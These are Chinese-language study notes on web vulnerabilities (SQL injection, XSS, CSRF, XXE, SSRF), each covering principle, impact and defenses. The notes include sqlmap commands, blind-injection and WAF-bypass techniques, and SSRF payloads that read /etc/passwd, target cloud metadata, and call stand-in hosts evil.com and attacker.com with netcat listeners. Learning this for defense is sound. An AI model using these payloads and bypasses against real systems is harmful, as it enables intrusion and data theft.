文章目录
前言
这里介绍一下常见的漏洞及其知识。
sql注入
sql注入原理
原理:所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 造成SQL注入漏洞原因有两个:一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。
sql注入危害
1.数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
2.网页篡改:通过操作数据库对特定网页进行篡改。
3.网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
4.数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
5.服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
6.破坏硬盘数据,瘫痪全系统。
sql注入防范
解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常修复使用的方案有:
对输入进行严格的转义和过滤
使用参数化(Parameterized):目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
预编译:预编译:用占位符替代参数值,预先建立语法树。恶意语句不参与语法树的建立,所以不影响SQL语法,也就无法造成恶意注入。最初的目的是提高代码的复用性,因为有很多只有参数值不同的SQL(完全相同的SQL会从缓存里查)(预编译分为java和c,#include和#define就是与预编译头文件,Java为PreparedStatement(定义sql语句的参数)函数)
// SQL语句中的参数值,使用?占位符替代
String sql = "select * from user where username = ? and password = ?";
// 通过Connection对象获取,并传入对应的sql语句
PreparedStatement pstmt = conn.prepareStatement(sql);
sql绕过手法及常见注入手法
绕过waf手法:空格字符绕过,大小写绕过,内联注释绕过,双写绕过。
常见注入方式:
联合查询 :最常见的sql注入手法'order by ',union
报错注入 :extractvalue() ,updatexml() 语句
布尔盲注 :
1.使用 **length()**函数 判断查询结果的长度
2.使用 **substr()函数 截取每一个字符,并穷举出字符内容
延时注入(时间盲注):运用sleep(5)**函数,使用" and sleep(5) -- qwe,发现页面延时5s后刷新,说明可以进行延时注入,if(1,sleep(2),sleep(0)),如果if中1为正确返回第二个值,错误返回第三个值,从页面刷新时间判定正确错误,两个时间差距要大一点,可能会因为网络问题导致判断出错。最后和布尔盲注一样进行字符猜解。
sqlmap常见使用方法
检测位置
-u -- 指定url(GET请求)
-p -- 指定参数(url包含多个参数时,指定参数)
--data= -- 指定POST请求参数
--cookie -- 指定cookie参数
-r -- 从文件中加载HTTP请求(在需要检测的Header后面加上*)
获取数据
--dbs -- 获取数据库名
--tables -- 获取表名
--columns -- 获取字段名
--dump -- 获取数据
-D -- 指定数据库
-T -- 指定表
-C -- 指定字段
GET请求注入:
sqlmap -u http://127.0.0.1/sqli/Less-1/?id=1
POST请求注入
sqlmap -u http://127.0.0.1/sqli/Less-11/ --data="uname=lisi"
COOKIE注入:
sqlmap -u xxx/index.php --cookie "uname=admin" --level 2 --dbs
HTTP请求头注入:
sqlmap -r target.vm --level 3 --dbs
xss
xss原理
XSS被称为跨站脚本攻击。主要基于JavaScript语言进行恶意攻击,因为js非常灵活操作html、css、浏览器。
XSS漏洞危害
恶意用户利用xss代码攻击成功后,可能会得到很高的权限,XSS漏洞主要有以下危害:
(1)盗取各种用户账号;
(2)窃取用户Cookie资料,冒充用户身份进入网站;
(3)劫持用户会话,执行任意操作;是指操作用户浏览器;
(4)刷流量,执行弹窗广告;
(5)传播蠕虫病毒。
XSS漏洞分类
XSS漏洞大概可以分为三个类型:
反射型XSS :定义:反射型XSS是非持久性、参数型跨站脚本。反射型XSS的JS代码在web应用的参数(变量)中,如搜索框的反射型XSS。
存储型XSS :存储型XSS是持久性跨站脚本,持久性体现在xss代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS通常发生在留言板等地方,我们在留言板位置留言,将恶意代码写进数据库中。
DOM型XSS:DOM型XSS比较特殊。owasp关于DOM型XSS的定义是基于DOM的XSS是一种XSS攻击,其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这也就使得DOM型XSS比较难以检测。
XSS漏洞测试
javascript
// An highlighted block
><script>alert(2222)</script> 输入该代码进行测试
xss防范
1.检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等,发现存在特殊字符,将这些特殊字符过滤或者编码。
例如:<转化为&It(实体编码)
2.字符串js编码转换成实体html编码的方法
3.在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。
实体编码:
下面展示一些 内联代码片
。
javascript
// An highlighted block
<、>、&、'、"在xml中是特殊符号,需要用实体表示
< <
> >
& &
' '
" "
csrf漏洞
csrf漏洞原理
CSRF(Cross-site Request Forgery,跨站请求伪造)是一种针对网站的恶意利用。
CSRF攻击可以利用用户已经登陆或已经授权的状态,伪造合法用户发出请求给受信任的网点,从而实现在未授权的情况下执行一些特权操作。
csrf漏洞流程图
csrf漏洞利用条件
1.用户成功登陆了网站系统,能执行授权的功能
2.目标用户访问了攻击者构造的恶意URL
csrf验证
bp上有csrf自动生成恶意代码功能,复制该代码到新建文件中,后缀改为html,在登录的情况下去点击该文件运行,如果实现修改操作则代表存在csrf漏洞。
csrf漏洞分类
GET型和POST型。
csrf漏洞危害
发送钓鱼邮件、盗用用户账号、网银转账、使用他人账号购买商品等,具体的危害跟存在漏洞的具体业务系统有关。
csrf漏洞防范
增加二次验证机制
在敏感操作时候,不再直接通过某个请求执行,而是再次验证用户口令或者再次验证类似验证码等随机数。如:转账时,要求用户二次输入密码。
校验HTTP Referer字段
校验HTTP Referer字段可以保证相关敏感操作来自授权站点的跳转。在HTTP协议中,定义了一个访问来源的字段,即HTTP_REFERER。站点可以在后端校验Referer是否来自于正常的站内跳转。如果攻击者诱导用户点击跳转链接,则Referer就为攻击者的主机,与网站内部内部跳转情况下的Referer字段不同。
增加Token参数进行校验
在敏感操作的参数中,增加完全随机的Token参数进行校验。这是目前业内防止CSRF攻击最常用的方法。因为CSRF产生的根本原因是,进行敏感操作时用户每次发送的请求都完全相同。因此,攻击者就可以把这样的请求进行封装包裹,诱导用户点击链接并发出请求。而如果在进行敏感操作时,增加完全随机的Token参数,每次进行敏感操作时发送的请求都不完全相同,攻击者也就没有办法伪造出一个合法的敏感操作请求,也就无法实施CSRF攻击。
注:csrf具体可以观看https://blog.csdn.net/xcxhzjl/article/details/121411039
XXE漏洞
XXE漏洞原理
XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。而学习XXE要从认识XML开始。
XXE漏洞详情
由于XXE知识量太大,这篇文章只做为笔记使用,在这里给大家推荐一篇xxe漏洞写的很好的文章
https://blog.csdn.net/weixin_44420143/article/details/118721145
ssrf漏洞
ssrf漏洞原理
一、SSRF是什么?
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
ssrf流程图
经典服务端请求
有道词典开设了输入网址然后将网站的所有文字翻译的功能,这就相当于服务端请求伪造,只不过不能访问自身,因此没有危害。
产生SSRF漏洞的函数和URL的伪协议
函数 :file_get_contents :获取用户指定URL图片上传
sockopen() :获取用户指定URL文件上传
curl_exec() :cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在"curled"文件夹下的磁盘中,并附加了一个随机数和".txt"文件扩展名。
注意
一般情况下PHP不会开启fopen的gopher wrapper
file_get_contents的gopher协议不能URL编码
file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
curl_exec() 默认不跟踪跳转,
file_get_contents() file_get_contents支持php://input协议
伪协议 :
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
测试用例:
1、file
从文件系统中获取文件内容
2、dict
这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
3、sftp
在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
4、ldap://或ldaps:// 或ldapi://
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
5、tftp://
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
6、gopher://
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
ssrf漏洞绕过
1.限制为http://www.xxx.com 域名时(利用@)
如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。
2.采用短网址绕过
比如百度短地址https://dwz.cn/
3.采用进制转换
转为八或16进制
4.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1
5.利用[::]
可以利用[::]来绕过localhost
http://169.254.169.254>>http://[::169.254.169.254]
6.利用句号
127。0。0。1 >>> 127.0.0.1
7.CRLF 编码绕过
%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行HTTP头部注入
ssrf漏网危害
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。.
6.各个协议调用探针:http,file,dict,ftp,gopher等
SSRF漏洞防御
通常有以下5个思路:
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
总结
仅用于个人记录学习,需要的时候反复观看,巩固基础。
参考资料
xss:https://blog.csdn.net/qq_56775626/article/details/126056516
csrf:https://blog.csdn.net/qq_43378996/article/details/123910614
xxe:https://blog.csdn.net/weixin_44420143/article/details/118721145
ssrf:https://blog.csdn.net/qq_43378996/article/details/124050308